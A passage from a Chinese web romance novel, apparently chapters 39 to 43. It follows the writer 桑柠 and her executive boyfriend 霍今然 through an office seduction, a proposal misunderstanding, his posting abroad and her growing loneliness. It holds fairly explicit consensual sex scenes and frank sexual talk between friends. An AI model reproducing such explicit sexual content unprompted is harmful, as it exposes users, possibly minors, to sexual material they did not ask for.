桑柠不自然的摆弄了下脖颈间的丝巾：“我那天晚上本来还在跟他赌气，故意不让他碰，结果反倒被他折腾了一晚上。”
别说锁骨上的吻痕了，就连她大腿根那里的淤青，隔了一天都还没消退。
连歆语挽住了桑柠的胳膊：“那还不是因为霍今然喜欢你，男人啊，平常再怎么禁欲，遇到了喜欢的人，秒变禽兽。”
桑柠没说话，想到那天晚上困在霍今然的怀里，他不停的往深处探去，那种颤栗感仿佛还残存在她的骨骼里。
她微探身，小声跟连歆语说：“你跟你家陆寒笙有没有试过那个姿势？”
“哪个啊？”
“就是身体差不多对折，困在男人怀里。”
连歆语来了兴致：“还没试过，感觉怎么样？”
桑柠咬了下唇，有些害臊的避开了连歆语的视线：“不知道怎么形容，反正你能感觉到他那里，整个都塞了进去，到最后我都快要受不住了。”
话落，旁边的人没了动静。
桑柠不禁偏头望了过去，看到连歆语从包里掏出手机，她问道：“有人找你啊？”
连歆语低着头，给陆寒笙发了个微信：晚上过来我这里。
发完，连歆语收起手机，回了桑柠一句：“不是，给陆寒笙发了个微信，晚上让他过来，亲自试一下。”
“……”
姐妹你真是一点诱惑都经不起。
连歆语收起手机：“难怪你锁骨上那么多吻痕。”
桑柠单手覆在胸前，指尖不自觉的抚摸了下那些吻痕：“我当时还故意挑逗了他，谁能想到他会反应那么大。”
“不是憋着，就是挑逗，霍今然不疯才怪呢。”
说完，连歆语转而问桑柠：“是不是男人都喜欢刺激的啊？”
听着连歆语似是话里有话，桑柠突然像只小狐狸似的眯了下眼：“你是不是也有什么特别的经历想讲给我听呀？”
刚好乘上直梯，连歆语挽着桑柠的胳膊，并排站着：“没什么特别的，就上次跟陆寒笙在他办公室里做了一次。”
“哦。”桑柠小声道，“办公室Play么？”
“一时兴起而已。”连歆语跟着道，“你不知道，只要外面响起脚步声，陆寒笙就特别兴奋。”
下了直梯，到了人少的地方，连歆语凑近桑柠耳边，才又说道：“他那里也真的好大，完事儿的时候，双臂抱着我，力气也大的吓人，我都怕他把我胸骨勒断，也不知道为什么会那么兴奋。”
桑柠很认真的听着。
听完，她从包包里拿出了手机，给霍今然发了个微信：你今天晚上还来我这里么？
桑柠：或者我去你办公室找你？
“干嘛呢，突然给谁发微信呢。”姐妹私房话聊得正愉快呢。
“霍今然。”桑柠握着手机，一脸淡定自若的回道，“我也想去他办公室。”
“……”
收到霍今然的回复时，已经快要接近中午了。
霍今然：今晚过不去了。
霍今然：要在公司加班，你想过来？
连歆语正在试衣间，桑柠坐在沙发上，闷头回复回了霍今然一句：想，晚上我陪着你一起加班，好不好。
霍今然：可能要到很晚。
桑柠：没事啊，人家就是想见你了嘛。
发过去这句话，那边霍今然迟迟没再回复她，许是忙去了。
直到晚上九点多，桑柠收到霍今然的信息：我现在在公司，你还过来么？
桑柠当时正在刷牙，她吐掉嘴里的泡沫
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，捧着手机，想回复洗完澡再过去。
又觉得不妥当。
整的她好像多迫不及待的送货上门似的。
虽然已经不需要在霍今然面前维持矜持了，但还是要保留一些惊喜的。
于是她回了霍今然一句：我要去，不过我这边有事，让单羽一个小时后来接我行么。
霍今然：可以。
看霍今然同意了，桑柠也没再继续跟他聊下去，将手机放到一边，她继续洗漱。
洗完澡，她还特意换上了一套性感的蕾丝内衣。
十点多，单羽准时过来，接上桑柠，将她送到了霍氏集团大厦。
“桑小姐，霍少正在办公室，我送你上去吧。”
“好的，麻烦你了。”桑柠浅浅的笑着。
单羽掏出员工卡，打卡，进入大厦，而后乘坐电梯，将桑柠送到了二十层的总裁办公室。
送到门口，单羽就离开了。
在门口敲了敲门，里面很快传来霍今然的声音：“进来。”
桑柠推门而入。
诺大的总裁办公室里，白光通亮，霍今然坐在不远处的办公桌前，旁边唐志诚正在跟他聊着什么。
桑柠也不敢打扰，进去后，她就走到沙发那边，兀自落座了下来。
“你去把资料准备齐全，等下跟他们开一个视频会议。”不知等了多久，终于听到霍今然这样说。
唐志诚拿起桌上的一摞文件夹：“好的，那我先准备去了。”
离开时，看到桑柠，唐志诚点头招呼了下，便抱着文件夹匆匆的走出了总裁办公室。
诺大的办公室，总算只剩下了桑柠跟霍今然两个人。
但霍今然还在忙，唐志诚一离开，他就接了个电话，完全顾及不到桑柠。
压根还跟以前一样，一忙起来，就什么都忘记了。
整得桑柠跟侍寝的妃嫔似的，只能在那儿干等着，等他忙完了，再来宠幸她。
桑柠百无聊赖的拿出手机，给连歆语发了条微信：霍今然要是有你家陆寒笙一半的觉悟就好了。
连歆语：咋了，大半夜的，突然感慨什么呢。
桑柠看了一眼屏幕上方的时间，原来已经快要夜里十一点了。
她捧着手机，噼里啪啦的打出一行字：我现在就在霍今然的办公室，等了快有四十多分钟了，他还一眼都没看我呢。
连歆语：我要敷面膜了，懒得打字了，你戴上耳机，我给你发语音。
桑柠：你发吧，我可以转文字。
“嗖嗖——”几下，连歆语接连发来好几条语音。
桑柠一一转成了文字。
看完，桑柠偏头望了霍今然一眼，看他已经挂断电话，却还在埋头看着手里的资料。
压根就不想理她。
桑柠低垂了下眼睫，她又瞥了一眼手机屏幕，而后她踢掉高跟鞋，侧卧到了沙发上。
红色波点的裙摆铺到了她的腿上，像花瓣绽开，模样慵懒，又妩媚。
桑柠又故意解开胸口前的几颗扣子，露出一片雪白，淡白色的蕾丝内衣也跟着若隐若现。
房间里突然没了动静声，桑柠懒懒的倚在沙发上，她指尖轻触手机屏幕，故意点了几下，刚才连歆语发来的语音，便一条一条的播放了出来。
——“行啊，姐妹，你这效率挺高啊，今天晚上就想跟霍今然在办公室乱搞啊？”
——“那就趁他不忙，你主动勾引他，大半夜的，我不信他能忍得住。”
——“这要是能忍得住，那霍今然可真不是人了。”
三条语音播完，房间里又突然安静了下去。
桑柠指尖轻触手机侧键，黑了屏幕，她偏头，朝霍今然那边轻撩了一眼。
看到霍今然从文件里抬起头，望了过来。
桑柠故意撩起裙摆，她还慵懒的侧卧在那里，纤细的长指勾着蕾丝内衣，像个狐狸精，媚骨天成。
她低着眉眼，也不看他，半垂的侧脸浸满春光，蛊的人心里直荡漾。
勾在她指间的蕾丝内衣，顺着她白皙的长腿，轻轻薄薄的。
划过了她的脚尖。
40. 40
霍今然还捏着手上的文件，身子却已经朝后仰，靠到了椅背上。
他喉咙干哑：“等下会有个视频会议。”
这话仿佛在跟桑柠说，我被你这个狐狸精勾到了，但我还是要先工作。
桑柠没应话，她垂着长睫，微起身，裙摆顺着她的小腿，像花瓣一样散开。
她光脚，垫着脚尖，慢慢朝着霍今然那边走去。
长指还漫不经心的勾着，刚脱下的蕾丝内衣。
桑柠走过去，将蕾丝内衣丢到了霍今然的办公桌上：“既然霍总那么忙，我就不打扰你了。”
说着话，桑柠又很熟练的解下了后背的蕾丝带子，轻轻一拉扯，上面的蕾丝文胸也跟着脱了下来。
她一并丢了过去：“这是你喜欢的那套蕾丝内衣，留给你作纪念。”
红色的长裙里，她已是一丨丝丨不丨挂。
转身走到沙发那里，桑柠拿起手机，跟包包，刚要准备离开，手腕突然被人握住。
下一秒，她就被霍今然扯进了怀里。
桑柠不看他，只是从他手腕里挣脱出来，兀自将手机放进了包包里：“霍总等下不是有个视频会议么。”
她抬眸，对上霍今然的视线：“那我就不打扰霍总了。”
霍今然单手箍紧她的腰身，他的呼吸有些重，摩挲在她耳边：“就这么离开，不跟我做些什么？”
隔着一层布料，他的手不安分起来。
桑柠受不住。
她手指一松，包包划落，“啪嗒”一下，掉到了地上。
霍今然抱起她，走进了阳台。
外面夜色已深，只有屋里的些许灯光透进来，阳台这边昏暗一片。
霍今然的吻加重了些。
桑柠被抵到了栏杆上，她趴在那里：“我要回房间做。”要在你的办公桌上做。
“就在这里。”霍今然呼吸浓重，他压过去，覆在桑柠的耳边，“安全套带了么。”
桑柠身子一颤，她忍不住叫出了声：“啊——”
尾音还未落，霍今然的吻就覆了上来，他单手箍着她的下巴，强制她冲着他这边。
深夜的阳台过于安静，静到都能听见，暧昧声涟漪不止。
桑柠双手抓着栏杆：“在包里，你去拿。”
“等下再说。”
热潮破碎，泛滥不止。
忽地，外面突然传来了敲门声：“霍总，资料已经准备好了。”
是唐志诚的声音。
霍今然突然停了下来，桑柠以为他要结束了，刚要出声埋怨，就感觉到身子被人扭了过来。
她原地转身，正面扑到了霍今然的怀里。
霍今然低着眼眸，神色平静的望着她，将她抱起。
桑柠蹙着眉心，不敢发出声。
霍今然就以那个姿势，抱着她，进了房间，坐到了沙发上。
桑柠看他不动，她就自个动了起来。
霍今然望着她，神色平静：“视频会议之前，我想先吃些东西，你去……”
桑柠突然晃动的厉害了些。
霍今然微朝后仰了下脖颈，他轻吐气，尽量维持平静：“先给我买份宵夜回来。”
“好的，霍总。”外面传来脚步声，唐志诚离开了。
外面的人一离开，桑柠就问了霍今然一句：“你的秘书多久回来？”
霍今然抱着她：“宵夜就在楼下。”
“时间不够。”
“足够了。”
话落，霍今然一个翻身就将桑柠压到了身下，她仰躺在那里，感受着身上暴风雨似的侵略。
比之从前的每一次都要激烈。
不久，唐志诚买完宵夜回来，进入办公室，一切如常。
桑柠正窝在沙发上，跟连歆语交换事后心得，聊得正起劲。
桑柠：男人果然耐不住性子。
连歆语：展开说说，你怎么勾引你家霍今然的。
……
见霍今然正坐在办公桌前，唐志诚拎着宵夜，走了过去：“霍总，宵夜给您放桌上？”
“嗯。”霍今然头也不抬的应了一声。
唐志诚走到桌边，刚放下手上的宵夜，他就怔愣在了那里。
桌子的一角。
好像。
团着，女人的，蕾丝内衣？
“……”
难怪霍总会突然让他下楼买宵夜去。
瞧着唐志诚迟迟没离开，霍今然偏头望了过去，这一眼，刚好他也看到了，桑柠刚才丢到他桌上的蕾丝内衣。
霍今然起身，他不动声色的当着唐志诚的面，拿起桌上的蕾丝内衣，慢慢的塞到了裤兜里。
“……”
唐志诚有些尴尬的干咳了下：“霍总慢慢吃。”<
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霍今然长指拎起宵夜：“你去会议室，先跟他们连线，我稍后就过去。”
“好的，霍总。”
说完，唐志诚就转身离开了。
沙发那边的桑柠已站起身：“麻烦您送宵夜过来了。”
唐志诚摆摆手：“不麻烦，你忙，霍太太。”
桑柠：“……”
唐志诚：“……”
口误。
但好像也没什么不对。
霍今然长指勾着宵夜的袋子，懒慢的走了过去。
见唐志诚离开后，桑柠跟霍今然说：“你的秘书刚才叫我霍太太。”
“嗯。”霍今然坐到了沙发上，他从袋子里拿出宵夜，漫不经心的丢过去一句，“有夫妻之实，怎么不算霍太太。”
“……”
老古董么。
什么年代了，还夫妻之实。
桑柠跟着落座了下来：“谁跟你说上了床，就是夫妻的，你还没跟我求婚呢。”
“行，先求婚。”霍今然吊儿郎当道。
听他的语气有些不正经，以为他开玩笑，可说完话，就见他真的伸手往裤兜里掏。
似是要掏出什么来。
桑柠微屏呼吸，紧张的看着他。
霍今然的每一个动作，都像是猫爪在她心上挠痒痒。
不会吧。
他真的要求婚了么。
这么突然的么。
等一下。
啊啊啊啊啊啊。
好紧张。
桑柠坐在那里，一瞬不瞬的盯着霍今然，生怕他会掏出个戒指盒，然后跟她下跪求婚。
帮她戴上戒指。
问她愿意嫁给他么。
不是没想过这一天，可这么突然的到来，桑柠到底还是有些手足无措。
眼见着霍今然将要掏出来了，桑柠呼吸急促，冷气充足的房间里，她指尖都冰冰凉凉的。
直到。
看到霍今然慢条斯理的从口袋里掏出了，她刚才丢给他的那套他喜欢的淡白色的蕾丝内衣。
“……”
桑柠缓缓抬起眼皮，没什么表情的望了过去。
霍今然倒是一副没所谓的样子，他神色闲淡，看桑柠不接，他微挑眉，语气淡。
却勾着一股邪气，没个正行：“要我给你穿上？”
“……”
41. 41
桑柠没接。
霍今然饶有兴趣的望着她，看她突然有些失落，他心里了然：“你以为我会掏出……”
“不许说。”
戒指两个字还没说出口，桑柠就附身过去，捂住了霍今然的嘴巴，没让他说出来。
她只觉有些丢人。
霍今然轻轻在她掌心里吻了下，她拿开手，听到他说：“这么着急嫁给我？”
说着话，霍今然抱起她的双腿，搁到了她的膝盖上。
顺着她的脚尖，帮她套上了蕾丝内衣。
桑柠望着他：“难道你不想娶我么？”
霍今然凉凉的掀起眼皮：“我刚才的表现，还不够。”
桑柠咬了下唇，低眸，瞅见她手腕上隐约的红印，是刚才霍今然紧攥着她的手腕留下的。
忽地又想起连歆语的那句话。
——“那还不是因为霍今然喜欢你，男人啊，平常再怎么禁欲，遇到了喜欢的人，秒变禽兽。”
刚才霍今然的表现，确实。
像个禽兽。
甚至开完视频会议，回到酒店都已经凌晨两点多了，霍今然都没放过她，缠着她，又弄了几次。
桑柠能感觉到霍今然很迷恋她的身体，不管沉沦多少次，都还不够。
那天夜里，桑柠失眠了。
旁边的霍今然倒是睡得很安稳，或许是太累的缘故。
桑柠翻身，贴近他，趴在他身上，小声唤他：“霍今然。”
霍今然正熟睡中，没任何动静。
桑柠还趴在那里，她下巴抵着手背，透过昏暗的光亮，她望着霍今然熟睡的侧颜：“其实如果刚才你真的跟我求婚的话，我会毫不犹豫的答应嫁给你的，因为。”
她探身，吻了他的脸颊一下：“我爱你。”
偷偷表白完，桑柠又翻身，紧挨着霍今然，闭上了眼。
旁边。
霍今然缓缓的睁开了眼，他望着天花板，微微的勾了下唇角。
早上醒来时，霍今然已经离开，却像以前一样，帮桑柠点好了早餐。
桑柠起来时，洗漱完，她又窝到了床上。
刚一打开餐盘，她看到了她的早餐，也意外的看到了，一个白色盘子里，用沙拉酱挤出的几个字：我也爱你。
是霍今然留下的。
桑柠咬唇，眼眸里跟着浸染了笑意，她拿过手机，拍下那几个字，发到了小号的微博。
——下次想听你亲口对我说。
没过几分钟，桑柠就看到霍今然给她最新的微博点了个赞。
桑柠的心里甜如蜜。
跟霍今然的关系像是已经度过了磨合期，逐渐平稳，再过半年，或许感情稳定之后，关系会更进一步。
对于霍今然求婚这件事，桑柠其实还是很期待的。
说来也奇怪，在没遇到霍今然之前，桑柠从未想过结婚，感情上也从不将就。
她还是相信爱情的，不然也不会写出那些感人肺腑的爱情小说，她只是很难相信在现实生活里遇到那个很喜欢的人。
直到遇到了霍今然。
她喜欢他，喜欢到不能自已，喜欢到想嫁给他，想跟他一生一世。
五月底，跟着霍今然参加了他一个生意伙伴的婚礼，桑柠接到新娘捧花时，想结婚的念头就越发强烈了。
那天连歆语也跟着陆寒笙，一同参加了婚礼。
看到桑柠接到捧花，连歆语忍不住调侃了一句：“桑柠，下一个结婚是不是真的就是你了。”
桑柠低头看了一眼手里的捧花，她又抬头，越过其他人，视线找寻了一圈，才终于寻到了霍今然的身影。
不远处，霍今然倚着车边，对上桑柠寻过来的视线，他勾着一边的唇角，笑的很宠溺。
旁边陆寒笙瞅着霍今然的样子，问他：“还没求婚？”
“戒指还没拿到。”霍今然微抬手，将指间的烟送到了嘴里。
陆寒笙随口丢过去一句：“不过我看你已经着急了。”
霍今然单掌撑在车头前，他身子微侧，整个人松散的倚着车，视线却还笼着桑柠的身影：“在没遇到桑柠之前，我确实没想过，会找个人结婚。”
陆寒笙偏头，睨了他一眼：“比起桑柠适合你，我觉得你更需要她。”
霍今然没说话。
这时，桑柠抱着捧花，跟连歆语走了过来。
桑柠腾出一只手，朝着霍今然伸去，他很默契的牵住了她的手。
“哎哟，真甜蜜。”连歆语走过去，窝到陆寒笙的怀里，又故意调侃了霍今然一句，“我姐妹捧花都接到了，你什么时候娶她回家。”
一早知道霍今然订婚戒指的事，连歆语也没多说什么，只是顺着捧花的事，随口调侃了这么一句。
说者无心，听者有意。
桑柠走了心，她抬眼，望向霍今然，很期待他会说什么。
霍今然吐着烟气，他丢掉指间的烟头，抬脚碾灭，而后他又抬眼，神色淡然：“先忙工作。”
简单几个字，他就轻而易举的藏起了，早就已经开始准备订婚戒指的惊喜。
但这话听到桑柠耳朵里，却是敷衍，不走心的。
就连问他结婚这种事，他也是优先考虑他的工作，在他心里，好像没什么事能比他的事业更重要。
想到那天晚上她还那么期待霍今然会掏出戒指跟她求婚，结果乌龙一场，再想起，他那副吊儿郎当的样子，瞧着像是根本就没将求婚这件事放在心上。
又或许。
他也从来都没考虑过跟她结婚。
手指微缩紧，桑柠抱紧怀里的捧花，察觉到连歆语望过来的目光，怕好姐妹看穿她，她假装无所谓的附和了一句：“我们有自己的节凑，正年轻呢，先拼事业再说。”
讲出来违心的话，桑柠只觉心里越发不是个滋味了。
她将捧花递给霍今然：“我想去趟洗手间。”
连歆语放开陆寒笙，走过去，挽住了桑柠的胳膊：“我陪你去。”
刚走进洗手间，连歆语包里的电话响了起来，她掏出手机：“桑柠，我出去接个电话，外面等你。”
说完，连歆语就边接着电话，边走了出去。
桑柠独自穿过洗手间，进入了最后一个隔间。
上完厕所，冲了马桶，桑柠准备离开时，外面忽地传来一阵对话声。
“刚才接到新娘捧花的是霍今然的女朋友么？”
“嗯，听说是个网文作者。”
听到外面的人提起她，桑柠没走出隔间，她抱着包包，坐到了马桶盖上，安静的听着外面的对话。
“那家里呢，是名门之后吧？”
“不能吧，上次跟褚晚柠的事闹那么大，我在网上吃瓜，说那个小作者家里就是普通生意人，就算有钱，跟霍家根本没法比。”
桑柠垂着长睫，望着地面大理石凌乱的花纹。
外面的对话声继续传来。
“那刚才看她接到捧花那么开心，我以为她真的能嫁到霍家呢。”
“拉倒吧，你也不看看能嫁到霍家的，哪个不是非富即贵啊，我估计霍今然也就随便玩玩，玩一段时间，腻了也就甩了她了。”
“那你说，霍今然不会到最后，还跟褚晚柠在一起吧。”
“谁知道呢，反正我不觉得霍今然会找个门不当户不对的人，就算他肯娶那个小作家，霍老爷子也不答应啊。”
……
外面跟着传来脚步声，那两个女生似是离开了，洗手间突然安静一片。
桑柠还坐在马桶盖上，孤零零的，像是被人抛弃在了一边。
想起小时候有一次跟父母逛街，她在人群里走散，慌张不已，哭着去寻找父母时，却看到父母在路边的冰激凌车旁，有说有笑的吃着冰激凌。
她就站在那里看着，身边人来人往，但在那一刻，她却还是觉得，世界仿佛只剩下了她一个人。
就像此时。
她那么期待霍今然的求婚，那么想嫁给他，而他却一副满不在乎，不放在心上的样子。
跟霍今然在某些情绪上的不对等，比跟他不相爱了，还要令人难过。
令人孤独。
回去的路上，跟霍今然坐在车里的后排，没了其他人在旁，桑柠也无需再伪装了。
一路上，她情绪都很低落的样子。
霍今然就在旁边，她却没任何互动，只是没什么焦点的望着车窗外闪过的风景。
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察觉到桑柠的情绪不对劲，霍今然单手搂过她，另一只手，长指捏着她的下巴，强制她转过了头：“怎么不理我了，嗯？”
这话问出来时，霍今然心里已经隐约猜到了什么，桑柠不开心，大抵应该是因为刚才提起结婚时，他随口敷衍了那么一句。
猜到了，却也没办法解释太多。
关于求婚的事，他还是想到时，给桑柠一个惊喜。
桑柠望着霍今然，也没多说什么，只是随口敷衍了一句：“没事，我只是有些累了。”
除此之外，她什么都不想说，总不能问霍今然你到底想娶我么，亦或催他到底什么时候会娶她。
整得她好像多恨嫁似的。
桑柠拨开霍今然的手，转头又望向了窗外，不过须臾，她似是又想起了什么。
她转头，望向霍今然：“你上次答应我的三个愿望，还算数么？”
霍今然微点头：“当然。”
回完，霍今然转而问她：“是不是想到第二个愿望想要什么了？”
桑柠没说话，只是望着霍今然，半晌，她终于开了口，跟他说：“想要你为我做一件，能让我开心的事。”
话刚落下，还没来得及等霍今然说什么，他口袋里的手机就响起了来电铃声。
霍今然摸出手机，看了一眼，屏幕上的来电显示，是唐志诚打过来的。
他接起：“找我有事？”
“霍老爷子来公司了，现在在霍总办公室，您得过来一趟。”
“老爷子有说什么事么。”
“没，来了就一直等在那里了。”
……
桑柠被晾到了一边。
直到霍今然挂断电话，他才问桑柠：“能让你开心的事？”
说完，他手机又响起微信新消息的提示音，也不等桑柠说什么，他又低头忙了起来。
桑柠抿了下唇，瞧着霍今然完全不把她的话当回事的样子，她心里没来由的有些烦躁。
“师傅，麻烦您停车！”桑柠冲着前排的司机唤了一声。
司机握着方向盘，朝后视镜看了一眼，没得到霍今然的吩咐，司机也不敢停车。
霍今然终于从手机的信息里抬起了头：“又怎么了，嗯？”
语气淡的，一点都听不出来关心。
倒是听出来一些不耐，像是埋怨桑柠打扰了他工作。
桑柠忽得又想起，很早以前在顶层的酒吧，遇到等了许久的霍今然时，她明明是开心的，可他看到她，却有些不耐烦。
像是很讨厌她打扰了他的工作。
每次都是这样，一点都不顾及她的感受。
桑柠自知在霍今然的心里没办法排在第一位，跟她比起来，他的工作永远最重要，她知道的。
可是他为什么就不能顾及一下她的感受，哪怕一次都好，但这么久了，他还是跟以前一样老样子。
没半点的改变。
桑柠紧咬着唇瓣，心里委屈极了，她执意道：“停车，我要下车！我不要跟你坐在一起！”
她就这样突然闹了起来，霍今然没辙，手机里不停传来新消息的提示音，他微抿了下唇，低头处理起了微信。
没理会桑柠。
前排的司机瞅了一眼后视镜，见后面气氛不对劲，司机打转方向盘，慢慢停到了路边。
车一停，桑柠就拎着包包，打开车门，下了车。
直到车门关上，桑柠都没看到霍今然追下车，好像是他将她丢下车似的，没半点怜惜。
车里，霍今然还低头处理着信息。
司机试探的唤了一声：“霍总？”
霍今然头也没抬的，冷淡的丢过一句：“开车，回公司。”
司机重新启动车子，朝着前方驶去。
路边，桑柠拎着包包站在那里，盛夏午后的阳光还有些暴晒，她就那样晒在日光里，眼睁睁的看着霍今然的车开走了。
绝情，又冷漠。
像是在无声告诉她，在他忙工作时，他有多讨厌她的无理取闹。
他也不会哄她。
红润的唇瓣紧咬着，泛了白，桑柠怔愣在那里，眼眶也跟着一点点的泛了红。
她心里难受极了。
42. 42
跟霍今然赌气了两天，桑柠都没理他。
霍今然可能也在忙，这两天也没找她，就连在微信里，跟她搭话，也很敷衍。
——还在生气？
——晚上要不要一起吃饭。
跟他的聊天记录截止到了这句话，霍今然也没继续再问她，想在哪里吃，想吃什么。
可真是难为他了，百忙之中还能这么抽空敷衍她。
桑柠没理他。
第三天傍晚六点多时，她又收到霍今然的信息：我在门口，出来见一面吧。
霍今然：我马上就要出发去机场了。
霍今然：去国外，这次可能去的有些久。
桑柠坐在床边，她低垂着眼睫，望着霍今然发来的信息一条条冒出来。
看到他即将要出国的信息，她心思微动，到底还是心软了。
磨蹭了一会儿，桑柠走到门口，透过猫眼，朝外面看了一眼。
霍今然还在，他低头，捧着手机，似是又给她发来个信息：不想见我？
“叮——”的一声，桑柠的手机自动锁屏后，新消息接收时，响起了提示音。
这声音不大，但隔着一道门，门外还是能听到。
对面的霍今然缓缓抬起了眼，他望向了猫眼，似是在跟桑柠对视。
桑柠心一惊，下意识的躲到了一边，偷看他被他逮了个正着，她倒也不用扭扭捏捏的躲着了。
她扭开门的保险栓，而后压下门把，打开了门。
霍今然将手机放到了口袋里：“肯理我了？”
桑柠捏着手机：“你这么不打一声招呼的过来，不怕我不在家么。”
霍今然杵在门口，他看起来很赶时间，也没要求进门，他单手抄兜，懒慢的站在那里：“打了招呼，你会理我么？”
桑柠不吭声了。
以她的脾气，大概率，不会理他。
除非。
他亲自来哄她。
“这次去多久？”
“可能三个多月，也可能……”
话还没说完，霍今然看到桑柠的眼眶泛了红，舍不得的话还没讲出来，她就已经藏不住了。
霍今然微怔，他走过去，单手揽住桑柠的腰身，吻落下。
桑柠没推开他，任他抱，任他吻。
那个吻结束后，霍今然还搂着桑柠，他低沉的声音在她耳边响起：“在家乖乖等我，回来我满足你的第二个愿望。”
他跟她低声耳语：“做一件让你开心的事。”
跟着霍今然下楼，将他送到车上，桑柠仍然依依不舍的站在那里。
直到霍今然的座驾消失在视线里，她才转身离开。
车里，坐在车后排的霍今然，始终望着后视镜，直到桑柠的身影消失，他才收回了视线。
前排的唐志诚转过了头：“霍老爷子这个时机，突然调您去国外，会不会是调虎离山之计？”
霍今然没搭话，他微仰身靠着椅背，阖上了眼。
唐志诚继续说道：“霍总手头上的这个项目，多少人眼馋，好不容易谈妥了，却突然让您去国外负责另一个项目，这个时机怎么说都有些巧合了。”
话落，唐志诚不禁皱了下眉，跟着有些担忧道：“该不会是二公子那里，跟霍老爷子吹了什么耳旁风吧。”
霍今然闭着眼，低哼了一声：“有些事就算霍志霄不说，老爷子也能知道，我现在跟梁董事他们走得很近，又不是什么能瞒得住的事。”
唐志诚一副了然道：“那看来老爷子突然调您去国外，是为了削弱您的势力。”
霍今然没说话。
如今集团两方势力相对，霍志霄那边拉拢了几个董事，暗地里各种搞鬼，想将霍今然从集团总裁的位置上拉下来。
而霍今然到现在还受制于霍冠良的掌控，位置还没坐稳，他也不能贸然忤逆老爷子。
眼下也就只能将计就计，走一步算一步了。
霍今然睁开了眼，看唐志诚早已转过了身，他唤了一声：“唐秘书。”
唐志诚应声转过了头：“霍总，您有什么吩咐？”
“现在集团能跟老爷子抗衡的，就只有梁董事了，我不在的这段时间，你跟梁董事要保持密切的联系，还有。”霍今然跟着不急不缓的说道，“手头上的这个项目，也给我紧盯好了，随时跟我汇报进程。”
这块肥肉，谁都别想分走一块。
唐志诚点头：“明白，霍总。”
交代完，霍今然没再说什么，他又阖上眼，重新靠回了椅背上。
刚闭上眼没多久，口袋里的手机响起新的提示音，有新的微博查看。
霍今然掏出手机，解锁，进入微博，看到了桑柠刚刚发的一个微博。
——照顾好自己，我等你回来。
霍今然指尖轻触屏幕，点了个赞。
几乎是在桑柠刚退出微博时，她就看到消息那一栏，出现了新的点赞。
桑柠坐在床边，她点开霍今然微博主页，跟他互关这么久，他还是老样子，不发微博。
就连头像，和简介，也都是桑柠当初给他设置的。
指尖轻划动，桑柠点开了霍今然点赞的页面，往下拉，一水的都是桑柠发过的微博。
专注，又唯一。
桑柠心里禁不住冒出甜意来，像是夏天打开的汽水瓶，刚一打开盖子，甜蜜的泡沫就噗噗噗的冒了出来。
挡都挡不住。
在霍今然离开的这段日子，桑柠也没闲着，她开始构思新的小说，前期收集完资料，她便开始窝在家里写起了小说。
日子仿佛回到了从前。
六月中旬，桑柠跟连歆语约好，一同前去参加一个朋友的生日会。
出发前，却收到连歆语发来的一条语音：“姐妹，不好意思，我不能陪你去了，陆寒笙发烧了，我得陪着他。”
桑柠回了一句：“没事，那你好好照顾你男朋友吧。”
回完，桑柠握着手机，轻叹了一口气。
她转而切换到跟霍今然的聊天对话框，噼里啪啦的打出一行字：等下朋友的生日会，没有人陪我去了，你又不在我身边，要你这个男朋友到底有什么用？
一阵没好气的输出。
打完，桑柠却没发过去，可能那些不开心在那些字打出来时，就已经消散了。
再说。
发过去有什么用。
霍今然又不会飞回来陪她，出完气也就算了，桑柠指尖摁着删除键，又一个字一个字的都删掉了。
桑柠最后还是一个人赶了过去。
生日会上，基本上都是认识的朋友，即便连歆语不能来，桑柠也没觉得多孤单，但那些朋友也都是结伴而来的，跟她闲聊几句后，便都散去了。
桑柠也没心情交际，给过生日的朋友送完礼物，她就拿着一块蛋糕，窝到了沙发的角落。
无聊的点开手机，也没人给她发信息。
桑柠将手机塞回包包里，拿起塑料叉子，吃了一口蛋糕。
旁边两个年轻的小女生叽叽喳喳的聊着天：“我男朋友说这次比赛完，赢了奖金，暑假就带我环游世界，要玩一个月呢。”
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另一个小女生也不甘示弱：“我男朋友也说要带我去旅行，反正大一暑假有的是时间，玩两个月都行呢。”
……
哎。
小女生无聊的攀比。
桑柠往嘴里塞了一口蛋糕，奶油应该是甜的，她却食之无味。
唔。
她也想要男朋友陪。
也想要跟男朋友一起去旅行。
将吃到一半的蛋糕放到一边，桑柠又掏出手机，她解锁，进入微信，点开了跟霍今然的聊天对话框。
桑柠指尖朝上划着屏幕，粗略的看了下最近一段时间跟霍今然的聊天记录，看完，她只有一个感觉。
少的可怜。
少的不像是热恋中的情人。
去国外那么久了，霍今然都不主动分享一下，他在那边有没有遇到什么有趣的事，或许是他很忙。
也或许是。
他从来就没把她放在心上。
唇瓣紧咬，桑柠突然觉得很委屈，霍今然这样怠慢她，还不是她惯出来的，以前不管怎么跟他生气，他哄一下，她就回头了。
甚至跟他在一起，也不过是因为一场大冒险的游戏。
都不是霍今然主动追的她，更像是她倒贴上去的，所以他才不懂得珍惜，甚至拿捏了她不会离开，一次次的敷衍她。
也从不会抽出时间陪伴她。
这次去国外，也是一句乖乖在家等我，便对她不管不顾。
她其实可以等的，又不是没等过。
只是心甘情愿的等，与被霍今然遗忘到一边，到底是不一样的。
手机屏幕自动黑了下去，桑柠低着眼眸，能隐约看到屏幕里映出的她的脸，一脸的不高兴。
好像额头上都刻着三个字：不开心。
桑柠尝试着克制，但有些思绪一旦冒出，就像是桌上不小心打翻的墨水瓶，就算再及时挽救，桌上依然狼藉一片。
更何况现在霍今然在国外，就算跟他闹脾气，他也不会及时赶回来。
桑柠也没闹他，但却变得沉默了些。
不主动联系霍今然，也不主动再跟他分享，却也没说任何要离开的话。
跟霍今然的这段关系，突然好似进入了感情的瓶颈期，食之无味，弃之又可惜。
就这样断联了一个多星期，第九天时，霍今然似是察觉到了什么，给桑柠发来个视频邀请。
那时已经夜里十一点了，桑柠还窝在写字桌前，整理小说的大纲。
看手机屏幕亮起，她侧眸看了一眼，看到是霍今然发来的视频邀请，她没动，只是握着碳素笔，继续在笔记本上写写画画。
她还不想理霍今然，也不想跟他视频。
总是这样，每次等她不理他时，他才想起他还有个女朋友呢，早干嘛去了。
桑柠这边一直不接，视频邀请的铃声便自动挂断了。
房间里又突然安静了下去。
桑柠咬着唇，忍不住看了一眼手机。
霍今然那边倒是很执着，见她这边没接，他又发来第二次邀请。
桑柠完全被他扰乱了心思。
小说的大纲到底是没心思再整理了，桑柠拿过手机，放到了她面前。
她抱着双臂，仿佛在跟手机谈判。
如果数到十秒，霍今然那边挂断了，她就再也不理他了。
一。
二。
三。
……
也不过刚默数到三秒，桑柠就忍不住拿起手机，直接点了同意，接通了霍今然的视频邀请。
“……”
43. 43
视频接通了，却没见到霍今然的身影，只听到他打电话的声音。
桑柠微努了下嘴，有少许的失落。
